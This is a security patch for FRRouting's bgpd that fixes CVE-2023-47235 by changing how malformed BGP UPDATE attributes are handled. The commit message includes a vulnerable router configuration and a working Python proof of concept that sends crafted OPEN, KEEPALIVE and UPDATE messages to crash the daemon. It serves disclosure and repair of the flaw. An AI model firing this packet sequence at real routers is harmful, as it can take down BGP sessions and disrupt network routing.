frr/0021-CVE-2023-47235.patch

From 6814f2e0138a6ea5e1f83bdd9085d9a77999900b Mon Sep 17 00:00:00 2001
From: Donatas Abraitis <donatas@opensourcerouting.org>
Date: Fri, 27 Oct 2023 11:56:45 +0300
Subject: [PATCH] bgpd: Treat EOR as withdrawn to avoid unwanted handling of
 malformed attrs

Treat-as-withdraw, otherwise if we just ignore it, we will pass it to be
processed as a normal UPDATE without mandatory attributes, that could lead
to harmful behavior. In this case, a crash for route-maps with the configuration
such as:

```
router bgp 65001
 no bgp ebgp-requires-policy
 neighbor 127.0.0.1 remote-as external
 neighbor 127.0.0.1 passive
 neighbor 127.0.0.1 ebgp-multihop
 neighbor 127.0.0.1 disable-connected-check
 neighbor 127.0.0.1 update-source 127.0.0.2
 neighbor 127.0.0.1 timers 3 90
 neighbor 127.0.0.1 timers connect 1
 !
 address-family ipv4 unicast
  neighbor 127.0.0.1 addpath-tx-all-paths
  neighbor 127.0.0.1 default-originate
  neighbor 127.0.0.1 route-map RM_IN in
 exit-address-family
exit
!
route-map RM_IN permit 10
 set as-path prepend 200
exit
```

Send a malformed optional transitive attribute:

```
import socket
import time

OPEN = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\x00\x62\x01\x04\xfd\xea\x00\x5a\x0a\x00\x00\x01\x45\x02"
b"\x06\x01\x04\x00\x01\x00\x01\x02\x02\x02\x00\x02\x02\x46\x00\x02"
b"\x06\x41\x04\x00\x00\xfd\xea\x02\x02\x06\x00\x02\x06\x45\x04\x00"
b"\x01\x01\x03\x02\x0e\x49\x0c\x0a\x64\x6f\x6e\x61\x74\x61\x73\x2d"
b"\x70\x63\x00\x02\x04\x40\x02\x00\x78\x02\x09\x47\x07\x00\x01\x01"
b"\x80\x00\x00\x00")

KEEPALIVE = (b"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
b"\xff\xff\xff\xff\xff\xff\x00\x13\x04")

UPDATE = bytearray.fromhex("ffffffffffffffffffffffffffffffff002b0200000003c0ff00010100eb00ac100b0b001ad908ac100b0b")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.2', 179))
s.send(OPEN)
data = s.recv(1024)
s.send(KEEPALIVE)
data = s.recv(1024)
s.send(UPDATE)
data = s.recv(1024)
time.sleep(100)
s.close()
```

Reported-by: Iggy Frankovic <iggyfran@amazon.com>
Signed-off-by: Donatas Abraitis <donatas@opensourcerouting.org>
---
 bgpd/bgp_attr.c | 15 ++++++++++++---
 1 file changed, 12 insertions(+), 3 deletions(-)

diff --git a/bgpd/bgp_attr.c b/bgpd/bgp_attr.c
index cf2dbe65b805..1473dc772502 100644
--- a/bgpd/bgp_attr.c
+++ b/bgpd/bgp_attr.c
@@ -3391,9 +3391,12 @@ static int bgp_attr_check(struct peer *peer, struct attr *attr,
 	uint8_t type = 0;
 
 	/* BGP Graceful-Restart End-of-RIB for IPv4 unicast is signaled as an
-	 * empty UPDATE.  */
+	 * empty UPDATE. Treat-as-withdraw, otherwise if we just ignore it,
+	 * we will pass it to be processed as a normal UPDATE without mandatory
+	 * attributes, that could lead to harmful behavior.
+	 */
 	if (CHECK_FLAG(peer->cap, PEER_CAP_RESTART_RCV) && !attr->flag)
-		return BGP_ATTR_PARSE_PROCEED;
+		return BGP_ATTR_PARSE_WITHDRAW;
 
 	if (!CHECK_FLAG(attr->flag, ATTR_FLAG_BIT(BGP_ATTR_ORIGIN)))
 		type = BGP_ATTR_ORIGIN;
@@ -3273,7 +3276,13 @@ done:
 		aspath_unintern(&as4_path);
 	}
 
-	if (ret != BGP_ATTR_PARSE_ERROR) {
+	/* If we received an UPDATE with mandatory attributes, then
+	* the unrecognized transitive optional attribute of that
+	* path MUST be passed. Otherwise, it's an error, and from
+	* security perspective it might be very harmful if we continue
+	* here with the unrecognized attributes.
+	*/
+	if (ret == BGP_ATTR_PARSE_PROCEED) {
 		/* Finally intern unknown attribute. */
 		if (attr->transit)
 			attr->transit = transit_intern(attr->transit);